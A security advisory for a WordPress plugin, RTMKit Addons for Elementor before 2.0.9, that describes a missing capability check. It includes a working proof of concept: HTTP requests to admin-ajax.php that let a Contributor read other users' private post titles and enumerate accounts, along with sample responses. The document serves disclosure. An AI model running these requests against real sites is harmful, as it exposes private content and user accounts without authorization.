RTMKit Addons for Elementor < 2.0.9 – Contributor+ Private Post Title Disclosure | CVE 2026-12906

Description

The plugin does not perform a capability check in one of its AJAX actions and resolves a request-supplied post identifier directly, allowing users with at least the Contributor role to read the titles of other users' private, draft, pending, scheduled and trashed posts.

Proof of Concept

Account `contributor` is a default Contributor (`current_user_can('read_private_posts')` and `current_user_can('manage_options')` both return false for it). The target post (id `192`) is a private post owned by an administrator. All requests use the Contributor's logged-in session cookie.

Step 1 - Obtain the rtmkit_nonce (standard plugin usage, no special configuration)
Log in as the Contributor and open the Elementor editor for any post the Contributor can edit (e.g. `/wp-admin/post.php?post=<own post id>&action=elementor`). View source and copy the localized `rkit_libs.rtmkit_nonce` value, e.g. `52f6560859`.

Step 2 - Disclose another user's private post title (the vulnerability)
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.example
Cookie: <wordpress_logged_in cookie for the Contributor account>
Content-Type: application/x-www-form-urlencoded

action=get_specific_posts&nonce=52f6560859&post_type=post&post_id=192
```
Response (the title of a private post the Contributor cannot otherwise see):
```json
{"success":true,"data":[{"id":192,"text":"ADMIN_SECRET_PRIVATE_TITLE"}]}
```
Incrementing `post_id` enumerates the titles of any draft/pending/private/trashed posts on the site.

Step 3 - Enumerate users
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.example
Cookie: <wordpress_logged_in cookie for the Contributor account>
Content-Type: application/x-www-form-urlencoded

action=get_specific_posts&nonce=52f6560859&post_type=author&post_id=1
```
Response:
```json
{"success":true,"data":[{"id":1,"text":"Super Admin"}]}
```
The `post_type=author` branch with a `search` parameter further enumerates accounts by `user_login` / `user_nicename`.

Step 4 - Negative control
The same request with no `nonce` is rejected, confirming the handler is reachable only with the (Contributor-obtainable) nonce and has no capability floor:
```
POST action=get_specific_posts&post_type=post&post_id=192  (no nonce)  =>  HTTP 403, body: -1
```
And the Contributor has no core capability to read this data:
```
current_user_can('read_private_posts') => false
current_user_can('edit_others_posts')  => false
```